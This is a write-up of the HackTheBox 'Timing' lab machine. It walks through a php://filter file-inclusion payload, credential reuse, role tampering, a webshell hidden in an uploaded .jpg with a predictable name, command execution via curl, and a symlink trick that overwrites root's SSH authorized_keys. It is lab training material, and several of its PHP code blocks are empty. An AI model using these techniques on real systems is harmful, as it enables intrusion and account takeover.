--- title: "Writeup - Timing (HTB)" date: 2022-04-07 slug: "writeup-timing-htb" type: "writeup-ctf" --- This is a writeup for the [Timing](https://app.hackthebox.com/machines/Timing) machine from the HackTheBox site. ## Enumeration First, let's start with a scan of our target with the following command: ```bash nmap -sV -T4 -Pn 10.10.11.135 ``` Two TCP ports are discovered: ![](img/image-1.webp) - 22/tcp : SSH port (OpenSSH 7.6p1) - 80/tcp : HTTP web server (Apache 2.4.49) ![](img/image-2.webp) ## Exploit First of all, let's start by listing the pages of the website. ![](img/image-3.webp) When testing the different ones, they all return an error except the `image.php` page. Let's try to list the arguments available on this page with the following command: ```bash ffuf -c -u http://10.10.11.135/image.php?FUZZ=/bin/bash -w wordlist/common.txt -fw 1 ``` ![](img/image-4.webp) We find that the `img` argument exists. Let's try to list the contents of the `/etc/passwd` : ![](img/image-5.webp) The site has an injection detection, let's try to make a new request but this time with a base64 encoding to avoid the detection: ```bash http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd ``` The page returns a character string in base64, I decode it with the following command: ```bash ┌──(d3vyce㉿kali)-[~/Documents] └─$ echo "[string]" | base64 -d root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false aaron:x:1000:1000:aaron:/home/aaron:/bin/bash ``` We find that there is a user `aaron` on the machine. I try to connect to the site with this user and basic passwords.  I end up connecting with the following credentials: `user: aaron, password: aaron`. I continue my exploration of the files by starting with `login.php`. ![](img/image-6.webp) In this file I find a reference to the database connection file: `db_conn.php`. ```bash $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd'); ``` db\_conn.phpOk, we have a username and password for the mysql database and potentially a user... I tried to make an SSH session with this password and the user `aaron` but without success. I continue my research and find the mention of a new page in `upload.php` : `admin_auth_check.php`. ```php ``` In this file we find that if the session variable `role` is equal to 1 we have access to the admin section of the site. In one of the javascript files we find the existence of another php page : `profile_update.php`. ```php function updateProfile() { var xml = new XMLHttpRequest(); xml.onreadystatechange = function () { if (xml.readyState == 4 && xml.status == 200) { document.getElementById("alert-profile-update").style.display = "block" } }; xml.open("POST", "profile_update.php", true); xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value); } ``` ![](img/image-7.webp) In this file we find that we can send during a POST request the `role` variable. I create a request with Burp with `role=1`, this should give me access to the admin panel of the site. ![](img/image-8.webp) I continue my analysis of the php files of the site with `avatar_uploader.php` which brings me then to `upload.php`. ```php ``` In this file we learn several things: - Only `.jpg` files are accepted - The uploaded images are stored in the folder `images/uploards/` - The images take a name based on the string `$file_hash` and the function time() 💡In PHP single quotes are strings and double quotes are the values of the variable.So we will have to make a script to calculate the first part of the file name. I realize this script in PHP, every second it will give a possible hash to use for the name of the uploaded file. ```php }} Before doing the manipulation, it is necessary to check that your clock is well synchronized with the Internet (`timedatectl`). If this is not the case, you can activate it with the following command: `timedatectl set-ntp yes`.I create an image `d3vyce.jpg` with the following content: {{< /alert >}} ```php ``` I then run the php script : ![](img/image-9.webp) Then I upload the image on the server. All that's left to do is to make requests with the different hash possibilities. ![](img/image-10.webp) I can now send commands to the target server. It's not ideal, but I also tried with a reverse shell, but without success... ![](img/image-11.webp) After some time of enumeration, I find a `source-files-backup.zip` file in the `/otp` folder. To recover this file, I make a copy to the folder where the website is stored: ```bash curl 'http://10.10.11.135/image.php?img=images/uploads/0fdde4bab214a9a96630c16ac87bf0d4_d3vyce.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/' ``` I can now retrieve the file by accessing the address `http://10.10.11.135/source-files-backup.zip`. After unzipping the zip I find the tree structure : ![](img/image-12.webp) This is a GIT project, so I check the history with the following command: ![](img/image-13.webp) In the last commit, there was a modification on the file in which we found credencials. Let's see what has been modified in this file: ![](img/image-14.webp) There has been a password change! Let's try this new password to create an SSH session with the user `aaron`. ![](img/image-15.webp) I now have a shell and can retrieve the first flag. ## Privilege escalation For elevation of privilege I first check if the user has sudo access: ![](img/image-16.webp) So I can use the `netutils` service with root rights. Let's see what this program does: ![](img/image-17.webp) This program allows you to download files via FTP or HTTP. ![](img/image-18.webp) Once the file is downloaded, I notice that it does not belong to me but to the root user! What we will be able to do is to make a symbolic link of the file `/root/.ssh/authorized_keys` and then upload a file with the same name so that the content is overwritten and replaced by our public key. To do this I create the symbolic link with the following command: ```bash ln -s /root/.ssh/authorized_keys authorized_keys ``` ![](img/image-19.webp) Then before launching a file server in which I placed a file `authorized_keys` with my public key inside. I download the file with the program `netutils` : ![](img/image-20.webp) I now connect to the root user via SSH : ![](img/image-21.webp) I can now recover the last flag. ## Recommendations To patch this host I think it would be necessary to perform a number of actions: - Do not use the same login/password - Fix the php argument to avoid enumeration - Do not use a user's password for the mysql database - Do not give sudo rights to a program that does not need them